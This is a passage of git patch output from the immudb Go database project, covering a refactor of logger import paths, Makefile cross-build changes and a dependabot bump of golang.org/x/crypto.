"github.com/stretchr/testify/require" diff --git a/pkg/client/client.go b/pkg/client/client.go index 88e8ffd35b..6ff094f17a 100644 --- a/pkg/client/client.go +++ b/pkg/client/client.go @@ -38,6 +38,7 @@ import ( "google.golang.org/grpc/credentials" "google.golang.org/grpc/grpclog" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" @@ -46,7 +47,6 @@ import ( "github.com/codenotary/immudb/pkg/client/state" "github.com/codenotary/immudb/pkg/client/tokenservice" "github.com/codenotary/immudb/pkg/database" - "github.com/codenotary/immudb/pkg/logger" "github.com/codenotary/immudb/pkg/signer" "github.com/codenotary/immudb/pkg/stream" ) diff --git a/pkg/client/client_test.go b/pkg/client/client_test.go index 89034931db..f1b3bc9edb 100644 --- a/pkg/client/client_test.go +++ b/pkg/client/client_test.go @@ -23,8 +23,8 @@ import ( "testing" "time" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" - "github.com/codenotary/immudb/pkg/logger" "github.com/stretchr/testify/require" "google.golang.org/grpc" ) diff --git a/pkg/client/heartbeater.go b/pkg/client/heartbeater.go index 945e682263..c56533c7cd 100644 --- a/pkg/client/heartbeater.go +++ b/pkg/client/heartbeater.go @@ -21,8 +21,8 @@ import ( stdos "os" "time" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" - "github.com/codenotary/immudb/pkg/logger" "github.com/golang/protobuf/ptypes/empty" ) diff --git a/pkg/client/state/state_service.go b/pkg/client/state/state_service.go index 45f091a9de..52058916af 100644 --- a/pkg/client/state/state_service.go +++ b/pkg/client/state/state_service.go @@ -20,9 +20,9 @@ import ( "context" "sync" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client/cache" - "github.com/codenotary/immudb/pkg/logger" ) // StateService the root service interface diff --git a/pkg/client/state/state_service_test.go b/pkg/client/state/state_service_test.go index b9599bee13..ef32f7cf22 100644 --- a/pkg/client/state/state_service_test.go +++ b/pkg/client/state/state_service_test.go @@ -23,7 +23,7 @@ import ( "testing" "github.com/codenotary/immudb/pkg/api/schema" - "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/embedded/logger" "github.com/golang/protobuf/ptypes/empty" "github.com/stretchr/testify/assert" "google.golang.org/grpc" diff --git a/pkg/client/types.go b/pkg/client/types.go index 25c12cec2a..7481e283aa 100644 --- a/pkg/client/types.go +++ b/pkg/client/types.go @@ -22,9 +22,9 @@ import ( "github.com/codenotary/immudb/pkg/client/tokenservice" "github.com/codenotary/immudb/pkg/stream" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client/state" - "github.com/codenotary/immudb/pkg/logger" "google.golang.org/grpc" ) diff --git a/pkg/database/database.go b/pkg/database/database.go index ecf758d081..a83ae5b7d5 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -32,8 +32,8 @@ import ( "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" - "github.com/codenotary/immudb/pkg/logger" ) const MaxKeyResolutionLimit = 1 diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index 85dd2073d6..adaa0ce9c4 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -32,11 +32,11 @@ import ( "testing" "time" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/fs" - "github.com/codenotary/immudb/pkg/logger" "github.com/stretchr/testify/require" ) diff --git a/pkg/database/replica_test.go b/pkg/database/replica_test.go index c6c3d51331..a40abdb3b8 100644 --- a/pkg/database/replica_test.go +++ b/pkg/database/replica_test.go @@ -21,10 +21,10 @@ import ( "os" "testing" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" - "github.com/codenotary/immudb/pkg/logger" "github.com/stretchr/testify/require" ) diff --git a/pkg/integration/auditor_test.go b/pkg/integration/auditor_test.go index 2431e501de..3ac22ef57c 100644 --- a/pkg/integration/auditor_test.go +++ b/pkg/integration/auditor_test.go @@ -33,13 +33,13 @@ import ( "github.com/codenotary/immudb/pkg/client/homedir" "github.com/codenotary/immudb/pkg/client/tokenservice" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/auditor" "github.com/codenotary/immudb/pkg/client/cache" "github.com/codenotary/immudb/pkg/client/state" - "github.com/codenotary/immudb/pkg/logger" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "github.com/codenotary/immudb/pkg/signer" diff --git a/pkg/pgsql/server/options.go b/pkg/pgsql/server/options.go index ff94f5177a..91f45e33e7 100644 --- a/pkg/pgsql/server/options.go +++ b/pkg/pgsql/server/options.go @@ -19,8 +19,8 @@ package server import ( "crypto/tls" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/database" - "github.com/codenotary/immudb/pkg/logger" ) type Option func(s *srv) diff --git a/pkg/pgsql/server/query_machine_test.go b/pkg/pgsql/server/query_machine_test.go index 65b989c2e6..badca9f56e 100644 --- a/pkg/pgsql/server/query_machine_test.go +++ b/pkg/pgsql/server/query_machine_test.go @@ -25,8 +25,8 @@ import ( "sync" "testing" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" - "github.com/codenotary/immudb/pkg/logger" "github.com/codenotary/immudb/pkg/pgsql/server/bmessages" h "github.com/codenotary/immudb/pkg/pgsql/server/fmessages/fmessages_test" "github.com/stretchr/testify/require" diff --git a/pkg/pgsql/server/server.go b/pkg/pgsql/server/server.go index ea1c81b547..d124f9d000 100644 --- a/pkg/pgsql/server/server.go +++ b/pkg/pgsql/server/server.go @@ -24,8 +24,8 @@ import ( "os" "sync" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/database" - "github.com/codenotary/immudb/pkg/logger" "golang.org/x/net/netutil" ) diff --git a/pkg/pgsql/server/session.go b/pkg/pgsql/server/session.go index 0781dcfbe4..551bc26ec4 100644 --- a/pkg/pgsql/server/session.go +++ b/pkg/pgsql/server/session.go @@ -23,10 +23,10 @@ import ( "net" "sync" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/database" - "github.com/codenotary/immudb/pkg/logger" "github.com/codenotary/immudb/pkg/pgsql/errors" bm "github.com/codenotary/immudb/pkg/pgsql/server/bmessages" fm "github.com/codenotary/immudb/pkg/pgsql/server/fmessages" diff --git a/pkg/pgsql/server/session_factory.go b/pkg/pgsql/server/session_factory.go index 74d40082ae..3658601fca 100644 --- a/pkg/pgsql/server/session_factory.go +++ b/pkg/pgsql/server/session_factory.go @@ -20,8 +20,8 @@ import ( "crypto/tls" "net" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/database" - "github.com/codenotary/immudb/pkg/logger" ) type sessionFactory struct{} diff --git a/pkg/pgsql/server/session_factory_test.go b/pkg/pgsql/server/session_factory_test.go index e472c7ba1e..3830e12f9d 100644 --- a/pkg/pgsql/server/session_factory_test.go +++ b/pkg/pgsql/server/session_factory_test.go @@ -20,8 +20,8 @@ import ( "crypto/tls" "net" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/database" - "github.com/codenotary/immudb/pkg/logger" ) type sessionFactoryMock struct { diff --git a/pkg/pgsql/server/ssl_handshake_test.go b/pkg/pgsql/server/ssl_handshake_test.go index 38282a722f..38829514b5 100644 --- a/pkg/pgsql/server/ssl_handshake_test.go +++ b/pkg/pgsql/server/ssl_handshake_test.go @@ -24,7 +24,7 @@ import ( "sync" "testing" - "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/embedded/logger" pserr "github.com/codenotary/immudb/pkg/pgsql/errors" "github.com/stretchr/testify/require" ) diff --git a/pkg/replication/replicator.go b/pkg/replication/replicator.go index f14adfa26f..f33dd94df6 100644 --- a/pkg/replication/replicator.go +++ b/pkg/replication/replicator.go @@ -27,10 +27,10 @@ import ( "sync" "time" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/database" - "github.com/codenotary/immudb/pkg/logger" "github.com/codenotary/immudb/pkg/stream" "github.com/rs/xid" ) diff --git a/pkg/replication/replicator_test.go b/pkg/replication/replicator_test.go index 2084ce51c6..fd765b308c 100644 --- a/pkg/replication/replicator_test.go +++ b/pkg/replication/replicator_test.go @@ -20,8 +20,8 @@ import ( "os" "testing" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/database" - "github.com/codenotary/immudb/pkg/logger" "github.com/rs/xid" "github.com/stretchr/testify/require" ) diff --git a/pkg/server/corruption_checker_test.go b/pkg/server/corruption_checker_test.go index f6e5754ec1..976c196760 100644 --- a/pkg/server/corruption_checker_test.go +++ b/pkg/server/corruption_checker_test.go @@ -20,7 +20,7 @@ package server import ( "testing" - "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/embedded/logger" ) diff --git a/pkg/server/metrics.go b/pkg/server/metrics.go index 45127ae7a1..6fc9134d06 100644 --- a/pkg/server/metrics.go +++ b/pkg/server/metrics.go @@ -28,7 +28,7 @@ import ( "github.com/prometheus/client_golang/prometheus/promauto" "google.golang.org/grpc/peer" - "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/embedded/logger" "github.com/prometheus/client_golang/prometheus" "github.com/prometheus/client_golang/prometheus/promhttp" ) diff --git a/pkg/server/metrics_funcs_test.go b/pkg/server/metrics_funcs_test.go index 7091f91df5..99f62e267d 100644 --- a/pkg/server/metrics_funcs_test.go +++ b/pkg/server/metrics_funcs_test.go @@ -25,9 +25,9 @@ import ( "github.com/codenotary/immudb/cmd/cmdtest" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/database" - "github.com/codenotary/immudb/pkg/logger" "github.com/stretchr/testify/require" ) diff --git a/pkg/server/options.go b/pkg/server/options.go index 55a8e7434f..71f0123430 100644 --- a/pkg/server/options.go +++ b/pkg/server/options.go @@ -23,7 +23,7 @@ import ( "strconv" "strings" - "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/replication" "github.com/codenotary/immudb/pkg/server/sessions" diff --git a/pkg/server/options_test.go b/pkg/server/options_test.go index 4306293674..a5d098c2e5 100644 --- a/pkg/server/options_test.go +++ b/pkg/server/options_test.go @@ -20,8 +20,8 @@ import ( "crypto/tls" "testing" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/auth" - "github.com/codenotary/immudb/pkg/logger" "github.com/codenotary/immudb/pkg/stream" "github.com/stretchr/testify/require" diff --git a/pkg/server/server.go b/pkg/server/server.go index 1e453876d8..24ae38b3d4 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -44,7 +44,7 @@ import ( "github.com/codenotary/immudb/pkg/database" - "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/signer" "github.com/codenotary/immudb/cmd/helper" diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 84c09c79d2..06212b658b 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -33,13 +33,13 @@ import ( "github.com/codenotary/immudb/pkg/stream" "golang.org/x/crypto/bcrypt" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/embedded/tbtree" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/immuos" - "github.com/codenotary/immudb/pkg/logger" "github.com/golang/protobuf/ptypes/empty" "github.com/stretchr/testify/require" "google.golang.org/grpc/codes" diff --git a/pkg/server/sessions/internal/transactions/transactions_test.go b/pkg/server/sessions/internal/transactions/transactions_test.go index ceb25b7d65..fc7628a9be 100644 --- a/pkg/server/sessions/internal/transactions/transactions_test.go +++ b/pkg/server/sessions/internal/transactions/transactions_test.go @@ -21,9 +21,9 @@ import ( "os" "testing" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/database" - "github.com/codenotary/immudb/pkg/logger" "github.com/stretchr/testify/require" ) diff --git a/pkg/server/sessions/manager.go b/pkg/server/sessions/manager.go index dfaf7255d7..bd1579d653 100644 --- a/pkg/server/sessions/manager.go +++ b/pkg/server/sessions/manager.go @@ -24,11 +24,11 @@ import ( "sync" "time" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/multierr" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/database" - "github.com/codenotary/immudb/pkg/logger" "github.com/codenotary/immudb/pkg/server/sessions/internal/transactions" ) diff --git a/pkg/server/sessions/manager_test.go b/pkg/server/sessions/manager_test.go index b387b045d4..e9d6421287 100644 --- a/pkg/server/sessions/manager_test.go +++ b/pkg/server/sessions/manager_test.go @@ -25,8 +25,8 @@ import ( "testing" "time" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/auth" - "github.com/codenotary/immudb/pkg/logger" "github.com/stretchr/testify/require" ) diff --git a/pkg/server/sessions/session.go b/pkg/server/sessions/session.go index 27c3864ccd..1ea22ee2b8 100644 --- a/pkg/server/sessions/session.go +++ b/pkg/server/sessions/session.go @@ -25,12 +25,12 @@ import ( "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/embedded/sql" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/multierr" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/errors" - "github.com/codenotary/immudb/pkg/logger" "github.com/codenotary/immudb/pkg/server/sessions/internal/transactions" "google.golang.org/grpc/metadata" ) diff --git a/pkg/server/sessions/session_test.go b/pkg/server/sessions/session_test.go index f1e502b92f..b81fa5e67b 100644 --- a/pkg/server/sessions/session_test.go +++ b/pkg/server/sessions/session_test.go @@ -22,8 +22,8 @@ import ( "testing" "time" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/auth" - "github.com/codenotary/immudb/pkg/logger" "github.com/stretchr/testify/require" "google.golang.org/grpc/metadata" ) diff --git a/pkg/server/types.go b/pkg/server/types.go index e7b7970049..a62f2e9389 100644 --- a/pkg/server/types.go +++ b/pkg/server/types.go @@ -36,9 +36,9 @@ import ( "google.golang.org/grpc" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/immuos" - "github.com/codenotary/immudb/pkg/logger" ) // userDatabasePairs keeps an associacion of username to userdata diff --git a/pkg/server/webserver.go b/pkg/server/webserver.go index 3b611b70bf..bc24364f90 100644 --- a/pkg/server/webserver.go +++ b/pkg/server/webserver.go @@ -22,9 +22,9 @@ import ( "net/http" "strings" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" - "github.com/codenotary/immudb/pkg/logger" "github.com/codenotary/immudb/webconsole" "github.com/grpc-ecosystem/grpc-gateway/runtime" "google.golang.org/grpc" diff --git a/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go b/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go index 701566b358..85b61952f2 100644 --- a/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go +++ b/test/performance-test-suite/pkg/benchmarks/writetxs/benchmark.go @@ -27,9 +27,9 @@ import ( "sync/atomic" "time" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" - "github.com/codenotary/immudb/pkg/logger" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/test/performance-test-suite/pkg/benchmarks" ) diff --git a/webconsole/webconsole.go b/webconsole/webconsole.go index c8de6be1e5..c9b600ae4a 100644 --- a/webconsole/webconsole.go +++ b/webconsole/webconsole.go @@ -5,7 +5,7 @@ package webconsole import ( "embed" - "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/embedded/logger" "io/fs" "net/http" ) diff --git a/webconsole/webconsole_default.go b/webconsole/webconsole_default.go index ab78b3bbe6..52198ffa40 100644 --- a/webconsole/webconsole_default.go +++ b/webconsole/webconsole_default.go @@ -8,7 +8,7 @@ import ( "io/fs" "net/http" - "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/embedded/logger" ) //go:embed default/* diff --git a/webconsole/webconsole_default_test.go b/webconsole/webconsole_default_test.go index 5b72972de0..6126970cd3 100644 --- a/webconsole/webconsole_default_test.go +++ b/webconsole/webconsole_default_test.go @@ -10,7 +10,7 @@ import ( "os" "testing" - "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/embedded/logger" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) diff --git a/webconsole/webconsole_test.go b/webconsole/webconsole_test.go index 51916118b0..8e163aa38f 100644 --- a/webconsole/webconsole_test.go +++ b/webconsole/webconsole_test.go @@ -4,7 +4,7 @@ package webconsole import ( - "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/embedded/logger" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "io/ioutil" From b5e4b637ec0971139b889dc9ca9dc358e6b7816a Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 3 Jul 2023 10:34:46 -0300 Subject: [PATCH 0656/1062] chore(pkg/truncator): use embedded/logger package Signed-off-by: Jeronimo Irazabal --- cmd/immudb/command/immudbcmdtest/immuServerMock_test.go | 2 +- pkg/database/document_database_test.go | 2 +- pkg/truncator/truncator.go | 2 +- pkg/truncator/truncator_test.go | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/cmd/immudb/command/immudbcmdtest/immuServerMock_test.go b/cmd/immudb/command/immudbcmdtest/immuServerMock_test.go index fe97f39380..cad81863ef 100644 --- a/cmd/immudb/command/immudbcmdtest/immuServerMock_test.go +++ b/cmd/immudb/command/immudbcmdtest/immuServerMock_test.go @@ -19,9 +19,9 @@ package immudbcmdtest import ( "testing" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/database" - "github.com/codenotary/immudb/pkg/logger" pgsqlsrv "github.com/codenotary/immudb/pkg/pgsql/server" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/stream" diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index f8d2186f91..5b62876664 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -21,8 +21,8 @@ import ( "os" "testing" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/protomodel" - "github.com/codenotary/immudb/pkg/logger" "github.com/codenotary/immudb/pkg/verification" "github.com/stretchr/testify/require" "google.golang.org/protobuf/types/known/structpb" diff --git a/pkg/truncator/truncator.go b/pkg/truncator/truncator.go index 97c3b0485a..f383875aa6 100644 --- a/pkg/truncator/truncator.go +++ b/pkg/truncator/truncator.go @@ -22,9 +22,9 @@ import ( "sync" "time" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/database" - "github.com/codenotary/immudb/pkg/logger" ) var ( diff --git a/pkg/truncator/truncator_test.go b/pkg/truncator/truncator_test.go index 0a8c469c83..31b23ee24d 100644 --- a/pkg/truncator/truncator_test.go +++ b/pkg/truncator/truncator_test.go @@ -24,10 +24,10 @@ import ( "testing" "time" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/database" - "github.com/codenotary/immudb/pkg/logger" "github.com/stretchr/testify/require" ) From 42712f79b9a387ab3a9ff6f2ffb3b4d2e25e10b5 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Wed, 5 Oct 2022 18:37:53 +0530 Subject: [PATCH 0657/1062] fix(Makefile): remove webconsole tag from immuclient/immuadmin builds --- Makefile | 22 +++++++++++++--------- 1 file changed, 13 insertions(+), 9 deletions(-) diff --git a/Makefile b/Makefile index 995db4657f..11c80f3872 100644 --- a/Makefile +++ b/Makefile @@ -29,6 +29,7 @@ DOCKER ?= docker PROTOC ?= protoc STRIP = strip + V_COMMIT := $(shell git rev-parse HEAD) #V_BUILT_BY := "$(shell echo "`git config user.name`<`git config user.email`>")" V_BUILT_BY := $(shell git config user.email) @@ -44,6 +45,9 @@ V_LDFLAGS_STATIC := ${V_LDFLAGS_COMMON} \ -extldflags "-static" V_LDFLAGS_FIPS_BUILD = ${V_LDFLAGS_BUILD} \ -X github.com/codenotary/immudb/cmd/version.FIPSEnabled=true +V_GO_ENV_FLAGS := GOOS=$(GOOS) GOARCH=$(GOARCH) +V_BUILD_NAME ?= "" +V_BUILD_FLAG = -o $(V_BUILD_NAME) GRPC_GATEWAY_VERSION := $(shell go list -m -versions github.com/grpc-ecosystem/grpc-gateway | awk -F ' ' '{print $$NF}') WEBCONSOLE_BUILDTAG= @@ -79,15 +83,15 @@ webconsole/default: .PHONY: immuclient immuclient: - $(GO) build -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immuclient + $(V_GO_ENV_FLAGS) $(GO) build $(V_BUILD_FLAG) -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immuclient .PHONY: immuadmin immuadmin: - $(GO) build -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immuadmin + $(V_GO_ENV_FLAGS) $(GO) build $(V_BUILD_FLAG) -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immuadmin .PHONY: immudb -immudb: webconsole - $(GO) build $(IMMUDB_BUILD_TAGS) -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immudb +immudb: build webconsole + $(V_GO_ENV_FLAGS) $(GO) build $(V_BUILD_FLAG) $(IMMUDB_BUILD_TAGS) -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immudb .PHONY: immutest immutest: @@ -95,7 +99,7 @@ immutest: .PHONY: immuclient-static immuclient-static: - CGO_ENABLED=0 $(GO) build -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immuclient + $(V_GO_ENV_FLAGS) CGO_ENABLED=0 $(GO) build $(V_BUILD_FLAG) -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immuclient .PHONY: immuclient-fips immuclient-fips: @@ -104,7 +108,7 @@ immuclient-fips: .PHONY: immuadmin-static immuadmin-static: - CGO_ENABLED=0 $(GO) build -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immuadmin + $(V_GO_ENV_FLAGS) CGO_ENABLED=0 $(GO) build $(V_BUILD_FLAG) -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immuadmin .PHONY: immuadmin-fips immuadmin-fips: @@ -113,7 +117,7 @@ immuadmin-fips: .PHONY: immudb-static immudb-static: webconsole - CGO_ENABLED=0 $(GO) build $(IMMUDB_BUILD_TAGS) -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immudb + $(V_GO_ENV_FLAGS) CGO_ENABLED=0 $(GO) build $(V_BUILD_FLAG) $(IMMUDB_BUILD_TAGS) -a -ldflags '$(V_LDFLAGS_STATIC)' ./cmd/immudb .PHONY: immudb-fips immudb-fips: webconsole @@ -231,9 +235,9 @@ dist/binaries: for os_arch in ${TARGETS}; do \ goos=`echo $$os_arch|sed 's|/.*||'`; \ goarch=`echo $$os_arch|sed 's|^.*/||'`; \ - GOOS=$$goos GOARCH=$$goarch $(GO) build -tags webconsole -v -ldflags '${V_LDFLAGS_COMMON}' -o ./dist/$$service-v${VERSION}-$$goos-$$goarch ./cmd/$$service/$$service.go ; \ + GOOS=$$goos GOARCH=$$goarch V_BUILD_NAME=./dist/$$service-v${VERSION}-$$goos-$$goarch make $$service ; \ done; \ - CGO_ENABLED=0 GOOS=linux GOARCH=amd64 $(GO) build -tags webconsole -a -ldflags '${V_LDFLAGS_STATIC}' -o ./dist/$$service-v${VERSION}-linux-amd64-static ./cmd/$$service/$$service.go ; \ + CGO_ENABLED=0 GOOS=linux GOARCH=amd64 V_BUILD_NAME=./dist/$$service-v${VERSION}-linux-amd64-static make $$service-static ; \ mv ./dist/$$service-v${VERSION}-windows-amd64 ./dist/$$service-v${VERSION}-windows-amd64.exe; \ done From fb57af34187ea36530854ba5664c2e26220fffe4 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 13 Jun 2023 19:01:03 +0000 Subject: [PATCH 0658/1062] chore(deps): bump golang.org/x/crypto from 0.7.0 to 0.10.0 Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.7.0 to 0.10.0. - [Commits](https://github.com/golang/crypto/compare/v0.7.0...v0.10.0) --- updated-dependencies: - dependency-name: golang.org/x/crypto dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 6 +- go.sum | 1194 +++++++++++++++++++++++++++++++++++++++++++++++++++++++- 2 files changed, 1193 insertions(+), 7 deletions(-) diff --git a/go.mod b/go.mod index af39ddeb12..beb81e3780 100644 --- a/go.mod +++ b/go.mod @@ -33,7 +33,7 @@ require ( github.com/spf13/viper v1.15.0 github.com/stretchr/testify v1.8.2 github.com/takama/daemon v0.12.0 - golang.org/x/crypto v0.7.0 + golang.org/x/crypto v0.10.0 golang.org/x/net v0.10.0 golang.org/x/sys v0.9.0 golang.org/x/tools/cmd/cover v0.1.0-deprecated @@ -100,8 +100,8 @@ require ( github.com/spf13/jwalterweatherman v1.1.0 // indirect github.com/subosito/gotenv v1.4.2 // indirect golang.org/x/mod v0.9.0 // indirect - golang.org/x/term v0.8.0 // indirect - golang.org/x/text v0.9.0 // indirect + golang.org/x/term v0.9.0 // indirect + golang.org/x/text v0.10.0 // indirect golang.org/x/tools v0.7.0 // indirect google.golang.org/genproto v0.0.0-20230526203410-71b5a4ffd15e // indirect google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc // indirect diff --git a/go.sum b/go.sum index e4b1508728..ef39edeb98 100644 --- a/go.sum +++ b/go.sum @@ -13,26 +13,588 @@ cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKV cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs= cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc= cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY= +cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI= +cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk= +cloud.google.com/go v0.78.0/go.mod h1:QjdrLG0uq+YwhjoVOLsS1t7TW8fs36kLs4XO5R5ECHg= +cloud.google.com/go v0.79.0/go.mod h1:3bzgcEeQlzbuEAYu4mrWhKqWjmpprinYgKJLgKHnbb8= +cloud.google.com/go v0.81.0/go.mod h1:mk/AM35KwGk/Nm2YSeZbxXdrNK3KZOYHmLkOqC2V6E0= +cloud.google.com/go v0.83.0/go.mod h1:Z7MJUsANfY0pYPdw0lbnivPx4/vhy/e2FEkSkF7vAVY= +cloud.google.com/go v0.84.0/go.mod h1:RazrYuxIK6Kb7YrzzhPoLmCVzl7Sup4NrbKPg8KHSUM= +cloud.google.com/go v0.87.0/go.mod h1:TpDYlFy7vuLzZMMZ+B6iRiELaY7z/gJPaqbMx6mlWcY= +cloud.google.com/go v0.90.0/go.mod h1:kRX0mNRHe0e2rC6oNakvwQqzyDmg57xJ+SZU1eT2aDQ= +cloud.google.com/go v0.93.3/go.mod h1:8utlLll2EF5XMAV15woO4lSbWQlk8rer9aLOfLh7+YI= +cloud.google.com/go v0.94.1/go.mod h1:qAlAugsXlC+JWO+Bke5vCtc9ONxjQT3drlTTnAplMW4= +cloud.google.com/go v0.97.0/go.mod h1:GF7l59pYBVlXQIBLx3a761cZ41F9bBH3JUlihCt2Udc= +cloud.google.com/go v0.99.0/go.mod h1:w0Xx2nLzqWJPuozYQX+hFfCSI8WioryfRDzkoI/Y2ZA= +cloud.google.com/go v0.100.1/go.mod h1:fs4QogzfH5n2pBXBP9vRiU+eCny7lD2vmFZy79Iuw1U= +cloud.google.com/go v0.100.2/go.mod 